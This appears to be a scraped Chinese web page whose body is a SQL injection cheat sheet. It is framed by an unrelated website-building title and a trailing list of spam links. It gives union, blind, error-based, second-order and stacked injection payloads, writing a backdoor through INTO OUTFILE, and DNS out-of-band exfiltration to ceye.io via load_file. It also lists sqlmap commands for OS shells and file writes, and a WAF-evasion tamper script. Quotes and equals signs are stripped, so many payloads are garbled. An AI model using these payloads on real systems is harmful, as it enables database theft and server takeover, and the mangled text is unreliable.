当前位置: 首页 > news >正文

网站开发成都wordpress安全设置方法

网站开发成都,wordpress安全设置方法,淄博网站建设推广乐达,菜鸟html在线编辑器数据库知识 mysql数据库 show database; #列出所有数据库 show tables; #列出所有表名 show columns from 表名; #列出表的列 select * from 表名 #查询数据库中某表的信息 select * from 表名 where 列xx #查询某表中符合列xx的信息 select * from 表名 order by 数字 #用于将… 数据库知识 mysql数据库 show database; #列出所有数据库 show tables; #列出所有表名 show columns from 表名; #列出表的列 select * from 表名 #查询数据库中某表的信息 select * from 表名 where 列xx #查询某表中符合列xx的信息 select * from 表名 order by 数字 #用于将结果集按照某列进行排序asc 升序desc 降序在sql注入中通常用来判断前面查询结果集的列数用于联合union查询 select * from 表名1 union select * from 表名2 #union操作符用于合并两个或多个select语句的结果。但是必须保证前后的select语句必须保证拥有相同数量的列 insert into 表名(列1,列2,列3) values (值1,值2,值3);#给表中添加数据 delete from 表名 where 列xx;#删除表中数据 update 表名 set 列xx where 条件;#修改数据 对于mysql5.0以上版本有数据库information_schema存放数据库所有信息 schemata表存放所有的数据库schema_name列所有的数据库名 tables表存放所有的表信息table_schema列数据库名 table_name列表名 columns表存放所有的列信息table_schema列数据库名 table_name列表名column_name列列名 select * from 表名 limit 3/limit 0,1; #只有一个参数值时将表中前三条数据列出来两个参数是从0行开始取1条数据SQL注入原理 SQL注入有两个前提条件源码中有执行的sql语句、参数可控且未对参数进行过滤满足以上两个条件我们就可以任意构造sql语句且执行从而获取我们想要的信息。 SQL注入思路 无任何过滤机制 无符号干扰 针对url中?id1的思路 源码$id$_GET[id] ?? 1;$sqlselect * from news where id$id;//最原始、没有任何过滤的情况 ?id1 order by 数字 //数字从1开始试探直到页面和之前不一样用于判断select查询结果的列数 ?id1 union select 1,2,3 //此处的数字写到上面猜解出的列数;此时查看页面是否返回数字不返回的话换出id-1让其报错 当页面报出对应数字之后我们将其数字改成想要查询内容的函数数据库版本version()-判断是否符合information_schema查询mysql5.0以上版本有、当前用户user()-是否符合root型攻击、当前操作系统version_compile_os()-看是否支持大小写或文件路径选择、查询当前数据库database()-便于后面猜解该数据库下的表 ?id1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema数据库名 //查询该数据库下的所有表名 ?id1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema数据库名 and table_name表名 //查询数据库名下表名中的所有列名 ?id1 union select 1,2,列名 from 表名 limit 0,1 //查询想要的信息如果是root用户具有管理员权限即可进行跨库查询?id1 union select 1,2 group_concat(schema_name) from information_schema.schemata //查询所有数据库名 知道数据库名之后继续按照上面思路一一猜解信息如果是root用户且secure-file-priv未设置可进行文件读写?id1 union select 1,load_file(d:\\1.txt) //读取D盘下文件1.txt内容 ?i1 union select 1,后门代码 into outfile d:\\2.txt //如果我们可以把后门代码写入网站目录下则可以直接连接前提是获取到网络目录报错显示获取路径、phpinfo页面泄露、利用中间件默认配置文件获取如果是对引号有过滤的话我们可以对引号的内容进行十六进制编码绕过。有符号干扰  上面这种在源码中的id$id是不带引号的如果带引号的话我们在每一步之前都要先闭合引号再构造sql语句。 针对url中?id1的思路 源码$id$_GET[id] ?? 1;$sqlselect * from news where id$id;//思路同上就是在id的值后面加一个引号进行闭合在最后面加一个注释符# -- $id$_GET[id] ?? 1;$sqlselect * from news where id%$id%;//在id的值后面加上%闭合最后加上注释符 $id$_GET[id] ?? 1;$sqlselect * from news where id($id);//在id的值后面加)闭合最后加注释符 $id$_GET[id] ?? 1;$sqlselect * from news where (id$id);//在id的值后面加)闭合最后加注释符总结 SQL语句由于在黑盒中是无法预知写法的SQL注入能发成功是需要拼接原SQL语句大部分黑盒能做的就是分析后各种尝试去判断所以有可能有注入但可能出现无法注入成功的情况。究其原因大部分都是原SQL语句的未知性导致的拼接失败其它注入点(post、数据包头部信息) 上面的都是以get提交的注入点通常只要在源码中存在与数据库交互的地方都有可能存在注入点post提交的数据、http头等 post表单提交数据可以使用火狐post提交数据测试测试思路同get方式只是这个需要以post提交数据 数据包头部 user-agent使得服务器能够识别客户使用的操作系统浏览器版本等等 X-Forwarded-For简称XFF头它代表客户端也就是HTTP的请求端真实的IP,通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP]有些网站如果使用的是xff获取我们ip我们可以通过修改数据包中的xff字段进行绕过ip检测 在http头中注入通常都是抓包然后在数据包中修改头部信息进行尝试注入 SQL盲注 盲注就是在注入过程中获取的数据不能回显至前端页面。我们需要利用一些方法进行判断或者尝试这个过程称之为盲注。 基于布尔的盲注 条件该盲注必须有回显用于判断构造的sql语句是否正确。通常情况下只有select查询才会有回显其余的增删改并没有回显 在注入点构造sql语句 and length(database())7 #用于判断数据库名称位数如果猜对页面正常显示否则页面错误 and left(database(),1)d; #用于判断数据库名第一位是否为d and left(database(),2)de; #用于判断数据库名前两位是否为de基于时间的盲注-延时判断 不需要任何条件  构造sql语句 and if(length(database())7,sleep(10),sleep(0)) #根据是否执行sleep函数判断数据库名字的长度 and if(left(database(),1)d,sleep(10),sleep(0)) #根据sleep函数判断数据库名第一个字符是否为d or if(ord(left(database(),1))107,sleep(2),0) #107是字母k对应的ASCII码当存在过滤引号时候可以使用ASCII替换 这个时间我们可以通过使用工具bp来判断在bp的repeater中右下角会显示返回数据包所用时间。 基于报错的盲注 条件有数据库报错处理判断标准 源码mysqli_query($con,$sql) or die(mysqli_error($con));//关键就是在源码中有输出错误信息在注入点构造sql语句 and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) //会在页面的报错信息中显示版本 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); mysql二次注入 原理 插入恶意数据第一次进行数据库插入数据的时候仅仅对其中的特殊字符进行了转义addslashes转义函数转义是关键否则不能造成二次注入在写入数据库的时候还保留了原来的数据但是数据本身包含恶意内容引用恶意数据在将数据存入到数据库中之后开发者就认为数据是可信的。在下一次要进行查询的时候直接从数据库中取出了恶意数据没有进一步的处理和检验这样就造成了二次注入。 场景 在我们注册且登陆之后有修改密码功能该功能只需要我们输入旧密码和新密码即可在注册时候可以插入恶意数据下面语句正常插入的前提是有转义 用户名admin  and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)# 在修改密码的时候就会执行 select * from users where username$username and password$password //此时就会上面的用户名待人该sql语句执行堆叠注入 原理堆叠注入触发的条件很苛刻就是在存在注入点的地方通过分号结束符同时执行多条sql语句例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行 条件目标存在sql注入点、目标未对分号进行过滤、目标数据库支持查询信息时执行多条sql语句。egmysql、mssql、postgresql等等 2019强网杯 堆叠注入但是对select过滤无法直接执行select语句 SeT a0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from a;execute execsql; //先对要执行的sql查询语句进行十六进制编码然后赋值给a 带外查询 条件root高权限且支持load_file()主要解决的是没有回显问题 平台http://ceye.io http://www.dnslog.cn //查询security数据库emails表下第一个列名 id1 and load_file(concat(\\\\,(select column_name from information_schema.columns where table_schemasecurity and table_nameemails limit 0,1),.dbuh8a.ceye.io\\xxx.txt))//查询字段值  数据库名为security 表名emails 列名id id1 and load_file(concat(\\\\,(select id from security.emails limit 0,1),.dbuh8a.ceye.io\\xxx.txt))其中xxx.txt是随意写的而.dbuh8a.ceye.io是带外平台中的dns 自动化sql注入工具——sqlmap基于数据库mysql sqlmap -u http://xxxx?artist1 //判断是否有注入点 sqlmap -u http://xxxx?artist1 --current-db //查看当前数据库 结果acuart sqlmap -u http://xxxx?artist1 --current-user //查看当前用户 sqlmap -u http://xxxx?artist1 --tables -D acuart //查看当前数据库下所有表 sqlmap -u http://xxxx?artist1 --columns -T users -D acuart //查看users表下所有列 sqlmap -u http://xxxx?artist1 --dump -C name,pass -T users -D acuart//查询列name pass中的数据 sqlmap -u http://xxxx?artist1 --dump-all -C name,pass -T users -D acuart//查询所有数据 sqlmap -u http://xxxx?artist1 --is-dba//判断是否为高权限用户 current user is DBA: False这种情况就是低权限 sqlmap -r xx.txt(文件为请求数据包和post提交数据在注入点后面加*)//非get方式注入点的方法-tamperxxx.py //对于有waf或者编码等问题我们可以使用tamper脚本。-v 数字0只显示Python的回溯错误和关键消息。 1显示信息和警告消息。 2显示调试消息。 3有效载荷注入。 4显示HTTP请求。 5显示HTTP响应头。 6显示HTTP响应页面的内容 --user-agent  #自定义user-agent 默认是sqlmap --random-agent   #随机user-agent --time-sec(2-5) #延迟响应默认为5 --level(1-5) #要执行的测试水平等级默认为1  --risk(0-3) #测试执行的风险等级默认为1  --proxy http:/127.0.0.1:8888 #代理注入,便于抓包查看注入过程的数据包sqlmap和bp联动如果当前是高权限用户可以使用以下命令 sqlmap -u http://xxxx?artist1 --sql-shell //可以执行sql命令 --file-read d:\\xx.txt //读取文件xx.txt --file-write d:\\xx.txt --file-dest /root/xx //将本地d盘下xxx文件写入服务器root目录下xx文件 --os-cmdcalc //执行cmd命令 弹出计算器 --os-shell //执行shell命令 --dbs //查看所有数据库tamper脚本书写模板from lib.core.enums import PRIORITY__priority__  PRIORITY.LOWdef dependencies():passdef tamper(payload, **kwargs):if payload: payload  payload.replace(SELECT,sElEct)payload  payload.replace(OR,Or)payload  payload.replace(AND,And)payload  payload.replace(SLEEP,SleeP)payload  payload.replace(ELT,Elt)return payload
http://www.w-s-a.com/news/706799/

相关文章:

  • 杭州品牌网站建设推广个人的网站建设目标
  • 济南有哪些网站是做家具团购的贸易公司自建免费网站
  • wap网站psd成立公司在什么网站
  • 网站建设婚恋交友聊城网站建设费用
  • 沈阳网站建设联系方式尉氏县金星网架公司
  • 医院网站建设实施方案基础微网站开发信息
  • 网站建设开发服务费记账百度指数搜索
  • 网站建设备案流程windows优化大师有必要安装吗
  • 怎么网站定制自己做网站卖视频
  • 网站开发二线城市网站制作过程中碰到的问题
  • 最好网站建设公司制作平台小程序开发教程资料
  • 陕西省高速建设集团公司网站国内做会展比较好的公司
  • 建设学校网站的原因网页设计实训报告1500
  • 网站建设客户来源江门网站设计华企立方
  • 自己如何做棋牌网站宁波网络推广优化方案
  • 深圳招聘网站推荐seo网站推广方案
  • 彩票网站开发 合法学术会议网站建设
  • 商务网站建设论文答辩pptseo技术博客
  • 怎样才能有自己的网站桂林搭建公司
  • 哪个网站做视频赚钱万科
  • 莆系医疗网站建设wp如何做网站地图
  • 网站建设应急处置方案团购网站 备案问题
  • 网站建设 岗位职责浙江中天建设集团有限公司网站
  • 西海岸建设局网站用wordpress建站学什么
  • 网站静态和动态学校网站建设流程步骤
  • 做群头像的网站在线怎么做俄语网站
  • 西安网站定制开发国内cms推荐
  • windows网站建设教程视频教程wordpress默认用户头像
  • 做网站需要什么软件wordpress会员邮件通知
  • 技术支持网站合肥网站搭建